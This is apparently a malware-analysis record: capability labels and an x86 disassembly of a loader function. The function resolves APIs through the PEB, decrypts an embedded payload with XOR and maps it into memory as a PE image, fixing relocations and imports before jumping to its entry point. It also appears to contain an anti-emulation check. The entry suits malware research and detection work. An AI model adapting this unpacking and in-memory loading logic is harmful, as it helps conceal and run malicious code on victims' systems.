Function at 0x3513d7
Capabilities:
Access peb ldr_data
Compress data via winapi
Get kernel32 base address
Get number of processors
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x20], eax
pop eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x18]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
push ebx
mov ebx, 0x3512f5
add ebx, 0x7e
mov dword [ebp - 4], ebx
pop ebx
push 0x351020
push 0xa
push 0
call dword [sym.imp.mscms.dll_RegisterCMMW]
test eax, eax
jne 0x35142d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
sub dword [ebp - 4], eax
push 1
call dword [ebp - 4]
mov dword [ebp - 8], eax
cmp eax, 0x1c
jne 0x351433
je 0x351442
mov ebx, dword [ebp - 0x2c]
mov esi, 0x351038
lea edi, [ebp - 0x60]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x60]
push eax
mov edx, ebx
movsb byte es:[edi], byte [esi]
call fcn.00351270
mov esi, 0x351048
lea edi, [ebp - 0x50]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 0x18], eax
movsb byte es:[edi], byte [esi]
jmp 0x351545
jmp 0x35161c
jmp 0x3516f3
lea ecx, [ebp - 0x50]
push ecx
push ebx
call eax
mov esi, dword [ebp - 0x18]
push 0x351058
push ebx
mov dword [ebp - 0x40], eax
call esi
push 0x351068
push dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
call esi
push 0x35107c
push ebx
mov dword [ebp - 0x2c], eax
call esi
push 0x35108c
push ebx
mov dword [ebp - 0x3c], eax
call esi
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x3527e0
cmp dword [ebp - 0x2c], eax
je 0x3527e0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov edx, dword [ecx + 0xc]
add edx, eax
add edx, dword [ebx + 0x3c]
mov dword [ebp - 0x34], ecx
mov esi, dword [edx]
mov ecx, dword [ecx + 0xc]
add esi, eax
add ecx, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebx + 0x3c]
push 5
mov dword [ebp - 0x28], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
push 0x32
mov dword [ebp - 0x24], edx
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
pop esi
xor edx, edx
mov eax, ecx
div esi
push 0x12
pop edi
xor edx, edx
mov esi, eax
mov eax, ecx
imul esi, esi, 0x15
div edi
add esi, ecx
imul eax, eax, 0xf
lea eax, [eax + esi + 0x1000]
push eax
xor esi, esi
push esi
call dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x3527e0
mov edi, dword [ebp - 0x24]
mov eax, dword [edi + 4]
push 9
shr eax, 1
xor edx, edx
pop ecx
div ecx
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x30], eax
test eax, eax
je 0x351819
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
push 9
add eax, esi
push eax
push dword [ebp - 0x20]
call fcn.003510a4
mov eax, dword [ebp - 0x10]
add esp, 0xc
dec dword [ebp - 0x10]
lea esi, [esi + eax + 9]
jne 0x351810
mov dword [ebp - 0x10], 0xf
add dword [ebp - 0x20], 9
dec dword [ebp - 0x24]
jne 0x3517ea
mov eax, dword [edi + 4]
push 9
shr eax, 1
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x351840
mov eax, dword [ebp - 0x30]
add esi, dword [ebp - 0x28]
imul eax, eax, 9
add eax, dword [ebp - 0x14]
push edx
push esi
push eax
call fcn.003510a4
add esp, 0xc
jmp 0x351917
jmp 0x3519ee
jmp 0x351ac5
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x38]
mov ecx, dword [ebx + 0x3c]
lea esi, [eax + ecx + 0x1c]
mov ecx, dword [edi + 4]
mov eax, ecx
shr eax, 1
and ecx, 1
push 0x19
add eax, ecx
pop ecx
xor edx, edx
div ecx
push 0
pop ebx
mov dword [ebp - 0x10], 0x15
inc eax
je 0x351b31
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], eax
push 0x19
lea eax, [ebx + esi]
push eax
mov eax, dword [edi + 4]
shr eax, 1
add eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x14]
push eax
call fcn.003510a4
mov eax, dword [ebp - 0x10]
add esp, 0xc
dec dword [ebp - 0x10]
lea ebx, [ebx + eax + 0x19]
jne 0x351b28
mov dword [ebp - 0x10], 0x15
add dword [ebp - 0x20], 0x19
dec dword [ebp - 0x28]
jne 0x351afb
mov eax, dword [edi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
push 0
call dword [ebp - 0x1c]
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
je 0x3527e0
jmp 0x351c27
xor esi, esi
cmp dword [edi + 4], ecx
jbe 0x351c46
mov dl, byte [ebp + esi - 0x64]
mov eax, dword [ebp - 0x14]
xor byte [eax + ecx], dl
inc esi
cmp esi, 0x13
jbe 0x351c40
xor esi, esi
inc ecx
cmp ecx, dword [edi + 4]
jb 0x351c2e
push eax
mov eax, dword [0x353000]
pop eax
mov edi, dword [edi + 4]
lea eax, [ebp - 0xc]
push eax
push edi
imul edi, edi, 0xf
push dword [ebp - 0x14]
push edi
push ebx
push 2
call dword [ebp - 0x2c]
jmp 0x351d39
jmp 0x351e10
jmp 0x351ee7
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x3527e0
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x3527e0
xor ecx, ecx
cmp dword [edi + 0xa0], ecx
jne 0x351f13
mov ecx, dword [edi + 0x34]
mov eax, 0x400000
cmp ecx, eax
jne 0x351f2d
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push dword [edi + 0x50]
mov esi, eax
push eax
call dword [ebp - 0x3c]
jmp 0x351f49
mov eax, dword [edi + 0x50]
push 0x40
push 0x3000
add eax, 0x10
push eax
push ecx
call dword [ebp - 0x1c]
mov esi, eax
test esi, esi
je 0x3527e0
jmp 0x351f55
jmp 0x351f66
mov eax, dword [edi + 0x54]
add eax, dword [ebx + 0x3c]
push eax
push ebx
push esi
call fcn.003510a4
add esp, 0xc
jmp 0x35204e
jmp 0x352125
and dword [ebp - 0x1c], 0
xor eax, eax
cmp ax, word [edi + 6]
jae 0x35216a
and dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebx + 0x3c]
add eax, ebx
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, ebx
push ecx
add eax, esi
push eax
call fcn.003510a4
movzx eax, word [edi + 6]
add dword [ebp - 0x20], 0x28
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jb 0x352134
mov eax, esi
sub eax, dword [edi + 0x34]
mov dword [ebp - 0x3c], eax
je 0x3521ef
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x3521ef
add eax, esi
lea ecx, [eax + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [edi + 0xa4]
add ecx, eax
mov dword [ebp - 0x38], ecx
jmp 0x3521eb
mov edx, dword [eax + 4]
and dword [ebp - 0x20], 0
sub edx, 8
test edx, 0xfffffffe
jbe 0x3521e2
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov ebx, 0x3000
cmp dx, bx
jne 0x3521cb
mov edx, dword [ebp - 0x3c]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x20]
add dword [ebp - 0x1c], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x20], ecx
jb 0x3521a5
mov ecx, dword [ebp - 0x38]
add eax, dword [eax + 4]
lea edx, [eax + 8]
mov dword [ebp - 0x1c], edx
cmp eax, ecx
jb 0x352193
jmp 0x3522c6
jmp 0x35239d
mov ebx, dword [edi + 0x80]
add ebx, esi
jmp 0x35279f
mov eax, dword [ebx + 0xc]
add eax, esi
push eax
call dword [ebp - 0x40]
mov edx, eax
mov dword [ebp - 0x2c], edx
test edx, edx
je 0x3527e0
cmp dword [ebx + 4], 0xffffffff
mov ecx, dword [ebx + 0x10]
mov dword [ebp - 0x20], ecx
jne 0x352400
mov eax, dword [ebx]
mov eax, dword [eax + esi]
add ecx, esi
mov dword [ebp - 0x3c], ecx
test eax, 0xf0000000
je 0x3523e4
and eax, 0xffff
jmp 0x3523e9
add eax, esi
add eax, 2
push eax
push edx
call dword [ebp - 0x18]
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx], eax
je 0x35279c
mov eax, dword [ebx]
mov dword [ebp - 0x20], eax
mov ecx, eax
jmp 0x3524d7
jmp 0x3525ae
jmp 0x352685
jmp 0x35275c
lea ebx, [ecx + esi]
jmp 0x352794
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x352771
and eax, 0xffff
jmp 0x352776
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x2c]
call dword [ebp - 0x18]
mov dword [ebx], eax
test eax, eax
je 0x3527e0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x10]
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x352761
mov ebx, dword [ebp - 0x1c]
add ebx, 0x14
cmp dword [ebx], 0
mov dword [ebp - 0x1c], ebx
jne 0x3523aa
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x2c], eax
pop eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov ecx, dword [edi + 0x28]
add ecx, esi
mov dword [eax + 0x1c], ecx
mov eax, dword [edi + 0x28]
add eax, esi
mov dword [ebp - 0x40], eax
call dword [ebp - 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10